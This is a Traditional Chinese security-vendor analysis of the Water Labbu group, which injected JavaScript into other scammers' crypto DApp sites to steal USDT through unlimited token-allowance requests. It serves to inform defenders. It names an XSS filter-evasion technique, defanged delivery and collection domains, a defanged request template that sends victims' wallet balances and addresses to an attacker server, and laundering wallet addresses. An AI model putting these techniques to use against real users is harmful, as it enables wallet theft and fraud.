Water Labbu 劫持詐騙網站加密貨幣, 得手超過31萬美金

Water Labbu 以寄生方式入侵45個加密貨幣詐騙網站,竊取總金額至少316,728 美金。

Water Labbu 劫持詐騙網站加密貨幣, 得手超過31萬美金

Water Labbu將惡意JavaScript注入其他詐騙者的惡意去中心化應用程式(DApp)網站,利用他們的社交工程(social engineering )詐騙活動來竊取加密貨幣。

趨勢科技發現一個Water Labbu的駭客集團將目標放在加密虛擬貨幣(Cryptocurrency)詐騙網站上。在通常情況下,加密貨幣詐騙者會用社交工程(social engineering )陷阱來與受害者進行互動,博取他們的信任,藉以操縱受害者提供轉移加密貨幣資產所需的權限。雖然Water Labbu也一樣會利用受害者錢包的存取權限和代幣准許(token allowance)來竊取加密貨幣,不一樣的是,他們並非使用社交工程 – 至少不是直接使用。相對地,Water Labbu讓其他詐騙者用社交工程手法去欺騙無戒心的受害者。

駭客用一種寄生的方式入侵其他詐騙者偽裝成去中心化應用程式(DApp)的網站,並注入了惡意JavaScript。執法單位所發布的警訊中詳細介紹了原始詐騙者所用的技術。

當駭客發現受害者在連結其中一個詐騙網站的錢包中儲存大量加密貨幣時,注入的JavaScript會發送偽裝成來自被入侵網站的權限請求,並要求token allowance權限來從目標錢包轉出幾乎無限量的USD Tether(USDT,一種與美元以1 :1掛鉤的穩定幣)。

Water Labbu的目標被引導相信該請求是由DApp發出,這讓他們比較不會去徹底檢查權限的詳細內容。但這權限並非授予原始詐騙者的加密貨幣位址,而是屬於Water Labbu所控制的另一個位址。接著,駭客可以用取得的權限從受害者錢包中提取所有的USDT。

圖1. Water Labbu攻擊流程

截至本文撰寫時,趨勢科技已經發現有45個加密貨幣相關詐騙DApp網站被Water Labbu入侵。這些網站的風格和主題與“無損失免借貸的流動性採礦”騙局所用網站類似。

我們檢查駭客在以太坊區塊鏈上位址的交易記錄後發現,他們已成功從至少九名不同受害者那竊取加密貨幣,總金額至少有316,728 USDT。

我們會在下面的章節分享攻擊者如何用注入的JavaScript從DApp詐騙網站劫持加密貨幣,以及其他關於他們可能如何入侵詐騙者的發現。

圖2. 被入侵DApp詐騙網站截圖

分析加密貨幣竊盜手法


正如我們前面所提到,Water Labbu會入侵DApp詐騙網站並注入自己的JavaScript。這些DApp網站似乎是用某種客製化模板設計,會向給定網址發送HTTP請求,以JSON格式接收會顯示在公告框的訊息。請求的內容(圖 3)顯示了一個帶有“helper”鍵的JSON物件,裡面包含一些內嵌項目。第一項很明顯是被注入,包含了Base64編碼腳本。

圖3. 來自DApp詐騙網站的公告框
圖4. 以JSON格式接收的資料

在我們分析的一個案例中,Water Labbu用“onerror”事件注入一個IMG標籤來載入Base64編碼的JavaScript,這是用來繞過跨站腳本(XSS)過濾器的XSS規避技術。注入的程式碼接著會建立另一個腳本元素,來從傳遞伺服器tmpmeta[.]com載入另一個腳本。接著,傳遞伺服器會根據IP位址和瀏覽器User-Agent標頭(用於判斷受害者的環境)來過濾受害者和傳遞不同的內容。

我們注意到以下行為:

  • 如果受害者從Android或iOS行動裝置載入腳本,它會傳回有加密貨幣竊盜功能的第一階段腳本。
  • 如果受害者從Windows桌面載入腳本,它會傳回另一個腳本來顯示假Flash更新訊息,要求受害者下載惡意執行檔。

值得一提的是,傳遞伺服器設有避免在短時間內從同一個IP位址多次載入腳本的機制。如果一個IP位址在過去幾個小時內連上過傳遞伺服器,或受害者所用的裝置類型不符合其他所需條件,它就會傳回一個簡單腳本來收集cookie和LocalStorage資料,並傳送回傳遞伺服器。

圖5. 收集cookie和LocalStorage資料的腳本

加密貨幣竊盜腳本:第一階段


一開始會載入web3.js程式庫。這為第一階段腳本提供連結受害者錢包的能力,不過只有當受害者錢包連結被入侵DApp網站時,惡意腳本才會與受害者錢包進行互動。獲得存取錢包的權限後,Water Labbu就能夠取得目標的以太坊(ETH)位址和餘額。此腳本還會跟Tether USD智能合約互動來取得受害者的USDT餘額。如果錢包內餘額超過0.001 ETH或1 USDT,會透過HTTP請求將錢包餘額和錢包位址傳送到資料收集伺服器linkstometa[.]com

下面是取得錢包餘額的請求內容:

hxxps[:]//linkstometa[.]com/data/?get&s=[%22{ETH balance}%22,%22{USDT balance}%22]&j={Ethereum address}

圖6. 取得錢包餘額和預設錢包位址的腳本(去混淆)

加密貨幣竊取腳本:第二階段

如果回報餘額高於0.005 ETH同時又有超過22,000的USDT代幣,滲透請求會傳回第二階段腳本。否則就會傳回空值,將受害者留給其他詐騙者。第二階段腳本會執行第三次的餘額檢查並請求token allowance approval。

圖7. 請求token allowance approval的腳本

Token approval請求會要求受害者授權給指定位址完成交易和使用加密貨幣資產。惡意腳本請求的批准額度為10^32 USDT,這遠遠超過區塊鏈上可用的USDT代幣總數。當發出批准請求時,加密貨幣錢包應用程式會要求使用者在確認前檢查請求內容。如果受害者不仔細檢查請求內容就授權給Water Labbu位址,駭客就能從受害者錢包轉出所有的USDT。

圖8. 加密貨幣錢包出現的惡意權限請求

區塊鏈交易分析

趨勢科技在監控Water Labbu的運作過程時注意到有兩個位址被重複用於接收授予的權限和轉移受害者的加密貨幣資產。

0xd6ed30a5ecdeaca58f9abf8a0d76e193e1b7818a是第一個接收受害者token approval的位址。到2022年8月為止,該地址已經七次成功使用Transfer From方法從不同位址收取可能來自受害者的USDT。然後這批加密貨幣被轉到第二個位址 0x3e9f1d6e244d773360dce4ca88ab3c054f502d51。第二個位址有兩筆交易,將被盜的USDT轉到另外兩個位址:0x486d08f635b90196e5793725176d9f7ead155fed0xfc74d6cfdf6da90ae996c999e12002090bc6d5bf

0xfece995f99549011a88bbb8980bbedd8fada5a35是我們從2022年6月的Water Labbu腳本中發現的較新位址。這個位址成功地從兩個位址提取了USDT,到Uniswap加密貨幣交易所進行交換 – 先是換成USDC,然後換成ETH,最後將ETH發送到Tornado Cash混幣平台。

截至2022年8月,Water Labbu從九名受害者取走了總共316,728 USDT。

圖9. 被盜USDT交易示意圖

假Flash感染鏈分析

當目標用Windows桌面連到被入侵DApp網站時,傳遞伺服器tmpmeta[.]com會傳回不同的腳本去竊取cookie和LocalStorage資料。它還會從其他傳遞伺服器(如whg7[.]ccr8s[.]cc)載入其他腳本。傳遞伺服器r8s[.]cc傳回了最後階段腳本,在被入侵網站上覆蓋了一個假Flash安裝訊息。這個訊息使用的是簡體中文,內容指出Flash Player已經於2020年9月14日結束支援,需要下載最新版本才能繼續查看該網頁。

圖10. Windows桌面上的腳本載入順序

圖11. 被入侵網站上覆蓋的假Flash Player安裝訊息
圖12. 從GitHub倉儲flashtech9/Flash下載的檔案列表

結論

Water Labbu透過將惡意腳本注入其他詐騙者的詐騙網站來成功竊取了加密貨幣,表現出利用其他犯罪分子為自己賺錢的想法。幸運的是,傳統的資安最佳實作在這種情況下仍然適用,能夠幫助使用者避免陷入這類詐騙活動。

使用者對來自非受信任方的投資邀請要特別小心。也不要在未徹底審查其合法性、了解其功能和運作方式下在未知平台交易加密貨幣。我們建議使用者要檢查交易參數(token approval限制),確保沒有被非受信任方修改或執行。

在下一篇文章中,我們將會分享其他關於Water Labbu感染鏈的發現,包括他們所用的漏洞攻擊技術,以及修補詐騙者所用的ElectronJS應用程式

✅防毒防詐✅守護帳密✅VPN安心串流✅阻絕惡意✅安心蝦拚
PC-cillin 讓你的『指指點點』可以開心又安心點!

【一下指就掉入詐騙陷阱?PC-cillin讓你安心點 】PC-cillin不只防毒也防詐騙 ✓手機✓電腦✓平板,跨平台防護3到位➔ 》即刻免費下載試用

入侵指標

本文中提到的入侵指標列表請參考這裡

◼原文出處:Water Labbu Abuses Malicious DApps to Steal Cryptocurrency  作者:Joseph C Chen、Jaromir Horejsi